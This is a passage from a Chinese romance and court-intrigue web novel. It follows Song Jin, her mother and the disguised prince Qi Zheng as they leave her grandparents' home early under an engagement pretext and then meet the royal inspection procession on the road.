齐铮迟疑一瞬,还是松开了她,看着她跺脚的模样,弯下腰,拉起披风两侧轻轻拢了拢,挡住外面的冷风,又拉过两边的绳带,轻轻一系,一个标准的蝴蝶结就出来了 宋锦低着脑袋瞅着,目光落在他敞开的胸口处 他身形高大,肩膀宽阔,平日穿衣料子厚重压着身形还看不出什么,现在就穿着里衣,从锁骨往下肌肉乍动,胸前肌肉恰到好处的坚硬饱满,仔细看,还能看到微微的凸起 她眼珠子一转,手一探,他胸肌饱满,皮肤顺滑,让人忍不住捏一捏 齐铮本来微扬的嘴角又压了下去,他面无表情地看着她,一把揪过胸前的手,捏到篝火边,沉沉:“别闹” 宋锦被抓现行,还理直气壮:“你自己不穿好衣服,我怕你冷着” 齐铮没说话,攥着她的手让她烤火 宋锦站在篝火前,火光照在脸上,红红火火,一双眼更是明亮,闪着红光,她看着绷着脸不说话的人,眸光流转,小声:“那你摸回来?” 齐铮绷着的脸一僵硬,瞬间松开她的手,脸上肉眼可见冒了红,漆黑的眸子也更黑了,声音沉沉:“胡闹” 宋锦切了一声,揉着手腕,嘀咕:“假正经,有本事以后也这样” 齐铮绷着脸,径直走到篝火对面,火光下人脸明明灭灭,火气看起来不小,全都压着 这人,这人 他无话可说 宋锦站在对面,看着他这幅模样,嘀咕:“老古板” 好身材不给摸,那漏出来干什么? 招摇过市 哼 …… 两个人就这样隔着篝火站立,直到天光微亮,比武场上破风声依旧 曲茂泽已经处于很明显地弱势地位了,整洁的衣服破破烂烂,看样子没少被扯到,他头发凌乱,满头大汗,嘴角肉眼可见有个紫印 没少挨揍 对面的阮东林也没好到哪儿去,但是他皮肤黑,能藏伤,曲茂泽又用巧劲,让他看起来不那么狼狈 两个人一开始还有心思较量翻旧账,打着打着就打急眼了,眼看着天已经亮了,抬起拳就又打了下去 谈判? 算了,还是先打了再说 宋锦又打了个哈欠,伸伸懒腰,拉扯筋骨去了 她这段时间还真没怎么好好用功,扭动间骨骼咯咯响动,她松着松着,下腰的脑袋一歪,像蛇一般在轻轻一扭,便转了个身站直 退到一边,一动不动 只见那后面,朦胧的雾气之中,牛铁兰和邰清心携手前来,母女俩步伐轻轻,神色温和,但看那简单挽起的发髻,还有简单搭着的外衣,便知没有看起来的那般淡定 宋锦十分具有警惕心地后退一步,站道齐铮旁边,身板挺直,一副老实模样,待到牛铁兰走到这边,她想也不想地指着旁边的齐铮 “他喊我来的” 齐铮站在一边,身上就多了口锅,有些无言,瞥了罪魁祸首一眼,还是接下锅,轻声:“夫人、侯夫人安” 牛铁兰用眼神剜了宋锦一眼,再看齐铮身上单薄的里衣,提醒:“殿下晨安,外面寒凉,小心风寒” 齐铮颔首:“出来得匆忙,两位勿怪,我先回去收整,这边就交给二位了” 他过来这边,凑热闹只占小部分,主要还是担心曲茂泽和阮东林出手少了分寸,他在这里,两人怎么都要顾忌一些 “辛苦殿下了”牛铁兰看着他的目光中满意和欣赏更甚,等再看向那边还在打的两人,便只剩下了嫌弃,“两个个老家伙” 这话齐铮不好接,他侧身离开 他此刻就穿着里衣,不合适见女眷 宋锦在旁边,又嘀咕:“假正经” 牛铁兰狠狠瞪她,低声:“回去再和你算账” 懒得听她瞎狡辩,牛铁兰转身朝着比武台走去,看着两个拳打脚踢都带着伤的人,又忧又恼 多大年纪了,还真当自己是十来岁小年轻啊 她压着眉眼,径直走过去:“还没打够?” 阮东林被这声音惊醒,也才注意到天色亮了,他下意识就收了力,不过之前打太狠了,一下子还是对着人门面打了过去 看着唬人,其实没什么力 曲茂泽自然能轻松躲过,不过嘛,他果断收了力道,就这么硬生生挨了一拳 阮东林惊愕地看着打中人的拳 就问这合理吗? 站在牛铁兰的角度 曲茂泽第一时间停下动作,侧过头十分信任地想和她打招呼,阮东林却不讲武德地揍了上去,打完拳头捏着半空,眼看着一副还要动手的模样 牛铁兰恼怒,上前一把推开他,着急地拉着曲茂泽,踮脚扒开他捂着的眉眼,有些红肿,现在刚出力还好,过一会儿少不了青紫,他的嘴角也跟着溢出了血丝 平日清风俊朗的一人,现在看起来狼狈极了 她眼有些红,怒瞪阮东林:“你有完没完,见人就打,下一个是不是轮到我了?” 阮东林冤 曲茂泽嘶了两下,擦擦嘴角的血,拉住她,轻声细语:“别担心,我没事,侯爷应该也不是故意的” 牛铁兰恼:“不是故意的是什么?特意的?” 曲茂泽:“没事,我是晚辈,挨点打也无妨” 牛铁兰还是恼:“他今天敢打你,明日就敢打我” 曲茂泽差点没笑出来,努 力压了下去,嘴角还是藏不住的笑,他瞥向明显气急败坏,却还是跟小小孩子一样蔫着脑袋不敢回嘴的人,笑:“不怕不怕,反正我们明日就走了” 这阮东林就忍不了了,抬起脑袋,瞪着大眼:“走什么走?什么明天走?老子让你打回来还不行吗?” 曲茂泽突然说出这个,牛铁兰还是有些不自在,她还没想好该怎么和他们说这事,现在见阮东林这幅反应,更恼了:“打打打只知道打,你是莽夫吗?” 阮东林又蔫了脑袋,不过很快:“那也不能拿这个威胁我,你今个才回来,明天走什么走?怎么也得明年,不对,后年,这就是你家,你要去那儿?都城麻烦事一堆,乱七八糟的,有什么好的?” 虽然他也知道,二十多年过去了,他闺女也已经当娘了,有自己的小家,早晚要过自己的日子 可也不能这么早啊 可惜,现实比想象还残忍 牛铁兰抿了抿嘴,心情有些沉闷,但还是:“我们明日就走了” “什么?明日?”邰清心很是着急,杏眸立马就湿润了几分,急急忙忙,“是不是因为你爹?他没有别的心思,他这老家伙,我们把他赶出去好不好?你别走” 说着,她一把拉住阮东林,重重拍了拍他的胳膊,再紧紧拉住牛铁兰的手,眼睛发红,声音哽咽:“你别这样,玲玲,娘真的,真的很想你” 牛铁兰见她如此,鼻子有些酸涩 如果没有蛊的话,她待一段时间自然没有问题,但是现在,多一天都不安全 她的身体关系的不只是自己 牛铁兰低声:“我知道,但是我还有事,等我们弄好了再过来” 她其实也不确定自己会不会好,但是她会努力的,她还有女儿要照顾,还有那么多心意要还 邰清心不接受这个解释,她眼泪流下,拉着人不放:“什么事能这么重要?你就多留一阵子” 阮东林站在一边,见此一个重拳就想砸向自己 好在曲茂泽早有准备,一把拉住了人,绝对不让一个无辜的黑锅砸身上 阮东林被拦住,恶狠狠看着曲茂泽这个‘罪魁祸首’,气得半死,又不敢再做什么,生怕再次惹了闺女 他又恼又悔,压着情绪,挽留:“你娘说得对,是爹的错,爹脾气不好不懂事,你骂爹,不行打我,真的,我” …… 团聚的欢喜气就这么去掉 牛铁兰也不能和他们直说原因,只能小心劝慰着邰清心,但是左说右说,都很难解释为什么多待一天都不行 夫妻俩都表示,其他人有事,其他人走,她可以待着 可惜事实是其他人都有时间,都能留下,就她不行 牛铁兰有些头疼,说不出正经理由,只能安抚他们,说着日后再来 这种温馨场面宋锦无法参与,她全程就站在一边,听她老娘瞎掰,眼看看一天过去,她连邰清心都没糊弄过去不说,阮东林的神色也跟着猜疑了起来 宋锦琢磨几下,把手里的瓜子壳一扔,大摇大摆地走了过去,走到牛铁兰身边,手肘搭在她的肩上,一副悠闲自在的模样 她瞅着那红着眼睛又快要出来的邰清心,说道:“娘你别糊弄人,又不是什么不能说的,阿婆这个年纪了,能承担的” 牛铁兰忧虑,低声:“别闹” 她娘的身体本身就不太好,要是知道她的事,以后了日日思虑,万一有点什么,她怎么都不会安心的 邰清心不知她的忧虑,听到宋锦的话,知晓她知道内情,赶紧擦了擦眼泪,急忙道:“就是,金金你来说,阿婆承受得住” 再大的事情,也不至于这么一日两日 邰清心内心乱糟糟的,不住猜测她闺女是不是不喜欢他们,还是有什么更糟糕的情况,很是不安 牛铁兰担心宋锦直说,拉着她的袖子阻拦,警告:“宋锦” 宋锦悠然坐下,不慌不忙喝了杯茶水,伸手指向另一边沉默喝茶的齐铮,悠悠 “是这样的,我回去就要和他订婚,后面要挑日子,还要考虑其他的,实在耽搁不得。我娘就我这么一个孩子,自然想要事事完美,阿婆你们就多多体谅一下嘛,实在不放心,可以跟我们一起回去呗,宋府那么大,住得下的” 被指着的齐铮:…… 其他人:??? 第115章 这事没完 “哎呀,你快别转了,晃得我眼睛疼” 房间里,邰清心坐在梳妆镜前梳着头发,身后的阮东林来回走动,不一会儿功夫就转了几十圈,给她都快晃晕了,忍不住制止他,叹气 “我知道你着急,但是先别急了,快过来看看,我这儿是不是又长白头发了?” 阮东林迈着大步过来,就着昏黄的烛光,小心扒拉她的头发,乌黑的发丝间,白发稀稀疏疏 她比他小上三岁,也马上五十了 阮东林:“要拔吗?” 邰清心坐在木凳上,看着铜镜中的自己,伸手摸了摸眼角,轻叹:“算了,也到这个年纪了,再拔,以后头发都不长了,稀稀疏疏更难看” 再怎么拔,也阻止不了日后头发一点点变白 阮东林手放在她肩膀上,替她轻轻揉捏,粗声粗气:“什么年纪?我夫人还年轻着呢” 他身形硕大,那手臂比她小腿都粗,大掌放在肩头,看起来委委屈屈的 邰清心伸手抓住他的手,扣着放在腿上,手心粗粝,手背上也多是疤痕,她轻轻摩挲,叹气:“年轻什么啊,孙女都这么大了,时间过得可真快啊,东林” 阮东林半蹲下来,下巴靠在她的肩膀,半搂住人,声音闷闷:“宫中皇子众多,往日就看恭王、晋王、理王,按理来说,晋王势头最大,恭王最稳,立太子以往就看他们二人。如果他们是陛下亲子,岐王回来便是闲散王爷,其实无所谓。但是陛下只他一个亲子,有他在,又如何会考虑其他人?” “便是岐王无能,陛下身体健康,还能扶持他的孩子,更何况他还有模有样,如今晋王连带着后面的几个势力出事,立太子也就早晚的事” 邰清心:“便是这般,我们金金也不差,她是郡主,身后有宋家,那几个孩子都是能干人,现在宋首辅不在了也能撑起宋家,又还有你,她当得起” 阮东林:“就是太当得起了” 邰清心愣 阮东林愁:“大衍就这么几个侯爷,论起来,你夫君我算是头等,这些年低调行事,也是怕招了陛下的眼。宋家就更别说了,少了宋商,宋行之虽略逊一筹,却也接得了那个班,又还有个宋慎之这么个猛将,其他三个人也各有各的出色” “而岐王有什么?” 邰清心蹙眉:“他是王爷” 阮东林 :“对,他是王爷,有陛下,但是除去这些呢?现在他势弱,有我们这些人自然是好的,但是日后呢?金金性子张扬,受不得委屈,他若是闲散王爷,他该忍也就忍了,若有朝一日上去,谁说得好?” 邰清心:“我观岐王很是沉稳,不是那种人” 阮东林叹气:“但人会变啊,谁说得准以后?” 说着,他抽了手起身,双手背在身后,又在房间里转了起来,一边转一边叹气,怎么想怎么转也还是无法自洽,愁得眉头都要掉了 邰清心哭笑不得,虽然她也有些担忧,但是看着他这般,忧虑倒是一点点减去 她:“别转了,再转我真的晕了” 阮东林深深叹气,停下来,坐在凳子上,开始倒茶,一边喝一边叹气 非常愁,却又没有往日的苦气 他平生最大的以后就是妻女,现在妻子找到,女儿无恙,再是烦恼,精气神都好得很 邰清心神色温柔,缓缓起身,走到他后面,轻轻揉着他的肩,她的力道不大,就跟挠痒痒似的,声音清缓,像是山涧的莺鸟 “东林啊,也不是所有人都会变的,有一个你在,我就相信这世间定然还会有其他像你一样的人” 都说男人多负心汉,这话没一点问题 但是总有那么几个人,带着心中的正气,愿为了所爱之人万死不辞 阮东林脸上苦意去掉,嘴角一点点都快咧到耳朵了,他努力压,怎么都压不住,只能干咳一声:“其实也还好,君子顶天立地,保家卫国,守妻顾子,天经地义” 只不过现在多是以乱七八糟的大道理做掩饰的伪君子,才显得他重情重义 阮东林在心里这么想着,胸口却是越挺越直,多了些骄傲得意 男人,还是他这种靠谱啊 年纪大怎么了?年纪大稳重,那是三四十岁的毛头小子懂个屁 邰清心失笑,揉捏肩膀的手挪上,替他揉着额头,轻声安抚:“年轻人自有年轻人的福,我们啊,也操不了那么多的心” 到底隔了一层呢 孩子刚回来,他们就管东管西的,以后日子还过不过了? 而且,也管不了啊 若是他们闺女,他们还能操心两句,就宋锦那模样,操得了那个心吗? 阮东林憋屈:“都是宋商那狗东西的错” 邰清心好笑:“行了,人都不在了,以后别再说这种话了,玲玲听了心里不好受” 相认的时间太短,他们没有时间问太多,也没必要去问太多 若是幸福,她自己会说,若是不幸,就更没什么好说的了 不管在哪个时候,过分美貌都不是什么好事情 邰清心神色微黯,眉间染上愁意,轻声:“只是总觉得,不只是这事” 虽说真要定亲的话,确实需要操持,但是也不用急这一天两天吧? 只不过牵扯到齐铮这个王爷,他们确实也不好继续挽留,只能就这样了 阮东林眉头也皱起,各种猜测,最后还是将问题落在了曲茂泽这个该死不死的人身上,但是又不好,只道:“别担心,玲玲都这么大了,一个人在外生活这么多年,还能带大孩子,她心里有数的” 他担心的还是宋锦的事 她当郡主自由自在,就连王爷郡侯都得给她面子,日子潇洒自在 没必要,真的没必要啊 邰清心看着他的模样,迟疑好一会儿,小心翼翼:“我想跟着她们去看看” 阮东林沉默好一会儿,声音骤然增大:“不行,想都别想” …… “我怎么不知道你要订亲了?” 那边各种猜测,这边屋子里,宋锦也得面对着自家老娘的质问 她趴在桌子上,两只长手耷在外面,捏着个茶杯,眼神飘忽:“这不是为了替您解围吗?” 牛铁兰梳着头发,冷笑:“我稀罕你的解围?我看你后面怎么解围” 宋锦撇嘴:“当初可是娘你劝我的,现在说不乐意的还是你,你这变的也太快了吧?” 牛铁兰没好气:“我劝你八字没一撇就在这儿逼婚了?万一后面有什么意外呢?备婚备婚,我看你备个一年还是两年,什么破借口,还不如我想的” 这种动脑子的事,这破孩子跟着瞎掺合什么啊 宋锦嘀咕:“不成就不成呗,那也是他的问题,和我有什么关系?” 牛铁兰恼:“宋锦” 宋锦闭上嘴,又玩了会儿茶杯,将其放下,慢吞吞走到生闷气的牛铁兰身旁,给她捏着肩膀,好讨好道:“娘你别想这么多嘛,想太多了容易变老” 牛铁兰脸上没什么表情,抿着唇,心情不是很好,硬着声音:“这是我想太多的事吗?小姑娘一点小姑娘的模样的没有,也不想想岐王是谁,你这么说让他日后怎么想?” 宋锦眉头一挑,轻哼:“爱怎么想怎么想,他是王爷我就得事事想着他的想法?那我要他干什么?专门给我生活添堵吗?” 牛贴兰瞪:“那也没有你这样的,不知道的还以为你是逼婚呢” 宋锦撇嘴:“知道的也这么想呢” 这意有所指的 牛铁兰忍不住上手掐了掐:“说谁呢?” 宋锦吸气:“爱是谁是谁,娘你就是太拧巴了,这日子是过给自己看的,怎么开心怎么来,不开心大不了离了再换一个,至于这么小心翼翼吗?我一个人又不是过不了” 找对象是为了给自己添快乐的,要是找了就想东想西麻里麻烦 费那大劲干什么 宋锦搞不懂自家老娘,说她潇洒吧,她总是想东想西,说她保守吧,她又格外大胆,在这个保守的年代一个人生养孩子,鼓励放纵她这个的那个闺女的 说完屋内没了声音 宋锦瞅向她娘,就见人坐在那儿,神色怔愣,垂着眼,夜色下,像是被蒙上了一层黑影。她有些心虚了起来,蹲在旁边,轻轻拉着牛铁兰的衣角,小心翼翼 “娘?” 牛铁兰没回她,她转过头,静静看着这个自己从巴掌大小带大的闺女,看着她明媚张扬的模样,伸手贴在她的脸侧 然后重重一拧 宋锦倒吸一口凉气 牛铁兰另一只手也化作铁掌拍了过去:“死丫头,当你娘我是死的啊?很久没教训你了,翅膀硬了是不是?歪道理一堆,我管你什么自由不自由的,我就问你听不听听不听……” 宋锦捂着耳朵,呲牙:“听听听,疼咧” …… 不管他们如何想的,有这事挡头,阮东林和邰清心确实无法阻拦。第二日一早,夫妻俩便又招呼人急匆匆收拾东西,并整顿车马 “坪阳府到永安城路途遥远,你们一行就几个人,我不放心,这些师傅都是府内的好手,平日走南闯北,熟悉路况,还有这些侍卫,他们会护送你们到永安城” 阮东林指着一旁的二十来个镖师和侍卫这般说道 从永安城过来这边这般遥远,路况复杂,劫匪遍地,他们就四个人,阮东林光是想着都心惊胆战,后怕不已,一早就找了好手过来护送 这些镖师一个个身形高大,肌肉壮实,走起路来,底盘稳稳,一个个肉眼可见便是行家。六个侍卫,盔甲长刀,气势凛然,一看便知不是普通小兵 宋锦无所谓人多人少,他们来的时候都是曹老板一行人跟着,现在回去多点人也不碍事 牛铁兰就更没意见了,她看着那些镖师,在看着搓着手有些小心翼翼的阮东林,心里发涩。 如果可以的话,她还是想要多留一段时间的 二十来年不见,她爹娘年纪也不小了,两边来回折腾,见面一次并不是什么简单事 可惜没有如果 牛铁兰低声:“辛苦阿爹了” 阮东林眼泪差点又落下来了 邰清心一把拉过他,让他去一边调整情绪,免得在这么多人面前丢了脸面。她又过去拉着牛铁兰,低声细语说着:“阿娘也没有什么多的,就给你准备了些料子,你拿回去自己做些衣服,等后面阿娘再自己做些找人给你送去,这些年都苦了你了” 牛铁兰鼻子发酸:“不苦,我过得挺好的,阿娘你别担心我,我知道你的心意,但是衣服还是别做了,伤眼睛” 邰清心攥紧了她,眼里全是不舍:“真的不能再待几日吗?” 牛铁兰咬了咬唇,有些心软 曲茂泽站在一边,也道:“其实一日两日也无事” 牛铁兰深吸一口气,还是硬着心摇头:“回去了我会定期给你们写信,等开春了就来看你,阿娘你和阿爹记得保重身体” 邰清心眼泪落下,很想说跟她一起过去,但想到昨日阮东林的话,还是把这个话压了下去,就这么握着她的手不放 阮东林过来拍着她的后背,一边安抚人,一边道:“你娘舍不得你,她昨日还说想跟你一起走,但是她身子不好,路途又远,都城冬日下雪,我怕她受不了” 至于他,没有召令不能随意去都城,只能后面再看 牛铁兰蹙眉,也不赞成:“都城天冷,这段时间也下雪了,娘你就在家里好好呆着,年后有时间我再来看你” 邰清心哽咽:“一定要来看娘啊” 对于这话,牛铁兰顿了一下,过了一会儿才拍着她的手背,说道:“有机会的话,我肯定来的” 阮东林注意到她的这个反常,眉头紧紧皱起,上下打量着她,也看不出个什么,他把目光转向一旁的曲茂泽,给了他一个眼神,离开这边 曲茂泽轻轻叹气,然后伸手指了指另一边的齐铮,示意他跟过去 他自己和那老头没什么好说的 齐铮沉默无言,看看这不对付的岳婿两个,有些犹豫,直到那边的宋锦抱着手跟了过去,他大步上前,走到她的旁边 他低声询问:“要说吗?” 宋锦回过头看了看她娘,难得没什么笑意:“说吧,又不是什么见不得人的事,生病而已,治好就是了” 齐铮看着她难得的沉默,抬起手轻轻拍拍她的肩膀 “夫人定会好的” 宋锦没说话,她抱着手继续走着,跟在阮东林的后面,一直走到隔壁小院 阮东林回头,看着两个年轻人,在心里气恼曲茂泽那个混球不过来,面上还是扯着嘴角,努力温和道:“你阿婆不在,可以说了吧?为什么这么快就得走?” 他还是不信他们的借口,只不过都拎出婚事了,定然不是小事 他夫人身体不好,有什么还是日后再知道为好 宋锦没有立马回答,她面上没什么表情,看得出心情不是很好 牛铁兰的‘病’,若说谁最担心,那绝对是她了,只不过她很少表现出来,只会说那些乐观的,把所有担心烦恼都压在心里 齐铮思索片刻,刚要替她回答 阮东林以为他又要拿订婚的事糊弄自己,立刻:“别说什么狗屁定亲的是,就是成亲,也不差这一天” 齐铮:…… 那其实也差的,吉时还是很重要 阮东林现在也不顾忌他的王爷身份了,都说了要定亲了,那就是准女婿,相当于半个家里人,就是小辈 他若是不乐意,刚好糊了这门亲事,正好 宋锦抱着手,看着阮东林这个脾气略显暴躁的老头,难得没有骂人,也没有打趣人,只是沉沉道:“你和郑家、于家关系如何?” 阮东林面色肃了下去 单说郑家于家,那到处都是,但是连在一起,那就只能想到一个,再联想他们平日的做派,心一点点沉了下去 阮东林脸色阴沉,死死咬牙,双手仅仅捏拳,咯咯作响 “你阿娘的事,和他们有关?” 他没有正面回答,但是反应已经说明了 不管以前关系好坏,若真是他们 这事没完 第116章 一言难尽 “哒哒哒” 车队行在路上,两侧是大片芦苇沼泽,远远看去,车队宛如长龙,在绿意中若隐若现,随着车队穿行,又惊起阵阵鸟群 “永安城这个时候应该下雪了,今年气候比往年低,北边应该会有不少地方会闹雪灾……” 马车外面,齐铮骑在黑马背上,一身黑衣锦服,高俊威武 宋锦骑在旁边,红衣棕马,明艳鲜亮,英姿飒爽。 她双手抱着脑袋,听着他说着这些国事,打了个大大的哈欠 齐铮顿住,侧眸看着她:“很无聊?” 宋锦懒散:“没,就是觉得,老百姓命苦,春天过度没粮吃,夏天天旱不长粮,雨多淹粮没粮吃,秋天要看春夏过,冬天又要挨雪冻” 年年如此,年年没粮 年年好过,也就只能少挨饿 齐铮神色肃穆,眼神透着悲悯:“兴,百姓苦;亡,百姓苦” 宋锦突然哧哧笑了起来,明眸皓齿,明艳生动:“行了,至于吗?我就是有感而发,倒是你,想得多,那就多做点呗。你可是王爷,就该多为百姓做事” 不像她,那就是享福的命,干不了一点活咧 齐铮看着她明亮的眸子,那种因为天下悲苦而起的沉意散去大半:“你说得对” 当他是侠客的时候,武艺再高,面对世事凄苦也束手无措,便是走一路帮一路,回过头来,真的带出困境的也不过寥寥 而现在,他能做的事情很多 齐铮看着宋锦,漆黑的眼眸刻着她的影子,又被她一点点照亮 宋锦扬起嘴角,手搭在他的肩上,揪了揪他的头发:“干什么这么看我?” 齐铮顿了顿,低声:“我要走了” 宋锦挑起眉头:“可算要走了啊,我还以为你都忘了自己是出来干什么的了” 齐铮失笑:“想陪陪你” 宋锦切了一声,压着嘴角:“我又不是小孩子,用得着你陪?再说了,我阿娘和那人都在呢,你弄你的去。男人,专注搞事业的时候最俊了” 齐铮静静地看着她,他的五官深邃俊美,一双眼瞳漆黑,睫毛密长,反问:“我俊吗?” 宋锦伸手掐着他的脸,还不忘捏了捏他的睫毛:“明知故问” 若不是因为他刚好长在她心坎上了,她哪儿会一开始就给他那么多特殊关照 齐铮看着她呲牙拧眉的生动模样,笑了笑,按住她贴在他脸上的手,轻轻扣住:“那你先回去等我,等我回去,就让父皇赐婚” 宋锦眉眼弯下:“这可不是我逼婚啊” 齐铮唇角上扬:“是我逼婚” 宋锦忍不住笑了出来,眸光流转,余光在四周转了一圈,然后趁其不备,从马背上站起,侧过去定住人的脑袋,对着他的唇印了上去 温热而干燥 轻轻一碰,转瞬即逝 还不待人反应过来,她已经退回马背上,哈哈大笑,骑着棕马奔走 她踩着马鞍,手持缰绳,宽大的裙摆随之摆动,像是一抹虹云,闪亮而耀眼 齐铮看着她的恣意的背影,好一会儿,指节轻轻抚过唇瓣,又压下上扬的角度,拉动缰绳 黑棕马匹追逐着脱离车队 车帘掀开,牛铁兰远远地看着他们奔走的背影,听着那熟悉的笑声,低声:“疯丫头” 曲茂泽坐在她旁边,揽着她的腰肢,下巴靠在她肩膀上,呼吸打在她脖颈间,笑声轻缓:“金金这样多好啊,活泼健康” 牛铁兰呵呵一笑:“你是没带过她小时候” 曲茂泽神色一顿,揽着她的劲重了两分,轻轻:“抱歉” 牛铁兰抿嘴:“我不是这个意思” 她只是真心实意地觉得,但凡这些人见过、养过小时候的宋锦,也说不出这话 宋锦小时候确实好,但是是好得掉脑壳的那种,她走到哪儿哪儿就人仰马翻,尤其是搬到镇上之后 牛铁兰经常一大早出来就见到门前排好队的老鼠蛇雀残肢 偶尔还会带点人指断手 那几年时间,镇上的人见她们宛如洪水猛兽,一度想让她们离开,也是后面她和林镇上合作的熏料事业起来了,才好了一些 牛铁兰想着也觉得自己那时候心还是挺大的,她侧过头,看着曲茂泽有些苍白的脸色,神色怅然:“这孩子,生下来就心性不正” 曲茂泽没说话 他明白的她的意思,如果说宋锦的性子是这些年一点点张扬下来的,那只能算是张扬恣意 可她现在这般纵肆,都是十来年一点点压下来的,那确实生性有异,说不得正常 但是 “不正就不正吧”牛铁兰神色无奈中带着宠意,却又透着丝丝微凉,“总归,都是别人先惹上来的” 曲茂泽带过孩子,还一带就是五个,虽然他感觉就是遛狗差不多,没什么难的,但是把人换成宋锦,想想已经开始头疼了 这可是个倔强孩子 他喟叹:“辛苦你了” 牛铁兰:“她是我生的” 曲茂泽轻笑,两只手搂着她的腰,一点点把人掐入自己怀里,抱在腿上,从侧后搭在她肩膀上,淡淡的幽香传来 她自己就会调香,身上总是挂着香囊,衣服也用香包熏染,不同的香料深深浅浅,汇合在一起,是外面绝对闻不到的味道 他嗅了嗅,轻叹:“你好香啊” 牛铁兰脸颊微红,忍不住掐了掐他的手,从他身上起来,坐到对面去:“不要脸” 曲茂 泽低低闷笑,双手抱在肩后,就这么靠在马车上,比起往日的运筹帷幄,看起来多了些少年意气,也更真心实意 牛铁兰怔怔看着,嘴角也一点点扬了起来,侧过身看着马车外 安东郡多水,大河小溪,沼泽遍布,鱼鸟跳跃,不管冬下,绿意盎然,是水美人美之地 她轻言:“等春日时候,我还想过来” 曲茂泽看着她,笑:“我陪你,安东、永丰、岭南、北北岭、漠北……” 牛铁兰趴在车窗边,阳光照在她的脸上,细绒微光,白皙得似在发光,她听着他说着那些个自己很多听都没听过的地,神色静谧 直到他说着说着补充:“不带金金” 牛铁兰噗嗤:“她会哭的” 曲茂泽悠悠:“孩子大了,有自己的路要走,我们这当爹娘的,可赶不上他们的速度” 牛铁兰叹息:“这倒也是,我以为,岐王会留在阿爹那儿多待会” 阮东林在这边几十年了,不说安东郡,便是周围其他郡,也没人比他更清楚 齐铮出行就为打探情况,找他问最合适 曲茂泽也掀开车帘,远远看着前方策马的年轻人,眸色深了两分:“别人说一千句,不如自己造一句” 唯亲善用,是最大的忌讳 好在齐铮没有让他失望,知道自己去看去探,也知道走 再不走,他真的忍不住要赶人了 没点眼色的臭小子 …… 马车一路前行,走出坪阳府两百里的路上,与一队威严的队伍不期而遇 队伍红袍家身,骑兵列队,皇旗飘摇 听闻皇家队伍这几日便在昌渡府,在这个路上遇到,负责领头的侍卫给了指令 车队停在路边让行 宋锦骑在马背,看着迎面而来威风凛凛的车队,目光落在最前方铁甲银盔的人身上,切了一声,看向齐铮:“你要跟着他们走?” 齐铮颔首:“还有三郡未走” 不过后面三郡,他们的速度会加快一些 宋锦眨眼:“以什么身份跟上?” 齐铮对着她好奇的眼,猛地靠近她 宋锦吓了一跳,果断后退,就见他眼中含笑,勾起嘴角:“继续干老本行,小姐” 她翻了个白眼,没好气地拍拍他的肩膀,轻哼:“那你快跟上吧,阿齐” 齐铮静静看着她挤眉弄眼的模样,伸手轻轻捏捏她的脸,又在她的手拍下来前收回:“等他们过来,你们先走” 宋锦挑眉:“哟,女士优先?” 齐铮含笑:“你优先” 宋锦没再说话,和他并肩骑在马背上,扬起唇角,眉眼飞扬 两个人一个高大冷肃,一个恣意妄肆,鲜衣怒马,站在队伍前排很是显眼 另一边,宋慎之轻甲铁盔,威风凛凛,远远看着两人,眼中欣喜一点点涌了上来,看向他们后面的车马 既然小妹在这里,他爹和夫人肯定也在 要不是得守着行队,他这次肯定和他爹一起 这一行路途这般遥远,也不知他爹瘦了没有,不知他们一路上有没有碰到危险,还有安东侯那老东西有没有给他脸色…… 想到这些,宋慎之真的恨不得脱离队伍直接飞过去,还是按捺下去,只是加快了速度 两边队伍很快迎面而对 宋慎之停了下来,翻身下马,脸上带着欣喜:“小妹,岐” “阿齐”宋锦打断了他,说道,“这是阿齐,我们路上遇到的侠客,没事干,后面就跟着你们一起转一圈吧” 宋慎之嘴角一抽,隐晦地看了齐铮一眼 别人家外出巡逻,声势浩大,威风八面,到了他这王爷倒是鬼鬼祟祟的 还挺会玩的 宋慎之心里吐槽着,面上不变,点头:“小妹推荐的肯定靠得住,你们这一路顺利吗?夫人和曲公子还好吗?” 宋锦看着他那都快要贴到另一边马车上的眼睛,翻了个白眼:“自己去问吧” 宋慎之立马:“小妹说得是,夫人是长辈,我理应去请安一番” 说着,他怕了拍手上的灰,又理了理衣服,大步朝着马车过去 急切得很 爹宝一个 宋锦骑在马上,撇了撇嘴,收回眼,那边马车一辆辆停下,很快又有人跟着跳了下来 是宋安之和宋清之兄弟俩,他们年纪最小,关系也最好,穿着橙黄衣服,远远看着跟双胞胎似的,匆匆地跑了过来 “小妹,岐” “阿齐,路上遇到的侠客” 宋锦又重复了一遍 宋安之和宋清之面面相觑,兄弟俩平日锦衣玉食,这一趟一路赶下来,走路一瘸一拐,精气神明显差了不少。 走得这般积极匆匆,肯定不是为了她 宋锦嫌弃,摆手:“人在那边,自己去看吧” 一群爹宝 宋安之和宋清之有些不好意思,但是两人其实也没那么急 他们要注意形象一些,站在原地理理头发弄弄衣服,还需要一些时间 宋锦翻了个白眼,看着他们就更嫌弃了,嘀咕:“怂包,对了,二哥呢?他未婚妻接到了吗?事情顺利吗?” 宋安之和宋清之面面相觑,脸色变幻莫测 说起这事,宋安之那张面若桃花的俏脸都惨淡几分,他深深叹气:“那叫一个一言难尽” 宋清之搓了搓脸,一脸后怕:“差点就又上当了” 宋安之凄凄:“偷龙转凤” 宋清之感叹:“人心不古啊” 宋锦听得云里雾里的,挑着眉头只道:“听起来还挺有意思的” 兄弟俩一言难尽 哪里有意思了,他们都差点被吓死,现在想起都是冷汗直冒。只能感叹,还好老二靠得住,不然这次可真吃个大亏 换做老大那个风流子,他们一行人绝对死翘翘 见他们这副神色,宋锦就更好奇了,拉动缰绳,骑着马朝着他们的队伍走去 那边,李青山已经下了车,他穿着锦衣,腰挎长刀,面无表情地站在那儿,别说,看着确实挺有王爷范的——如果不和齐铮站一起 宋锦看着他面无表情的模样,总感觉那眼里透着些幽怨,还有如释重负 可惜了,他暂时还释不了 宋锦和齐铮骑马上前,她翻身下马,言笑晏晏,像模像样地给他行了个礼 “殿下安” 齐铮跟上,行了个小礼:“参见岐王殿下” 见到他们,李青山本来还以为自己任务完成,总算可以成功卸任了,现在看着他们这般,这段时间被灌酒的胃有些烧,膝盖也突然疼了起来,飞快避过他们的礼 他艰难开口:“免礼,两位,许久未见,此行可还顺利” 宋锦笑眯眯:“很顺利的,吃好喝好玩好快快乐乐,你呢?这是碰上麻烦了?看起来脸色不太好” 李青山沉痛:“一言难尽” 他本就是假王爷,心里也发虚,又被一堆往日见面都没资格的人缠上,根本没底气拒绝 不能答应的肯定没答应,但每到一个地方,酒真没少被灌 宋锦啧啧两声,也没多问什么,打了个招呼意思之后,看向另一边下马的人,挥了挥手 宋家兄弟五个,她现在暂时认的也就宋顺之这一个 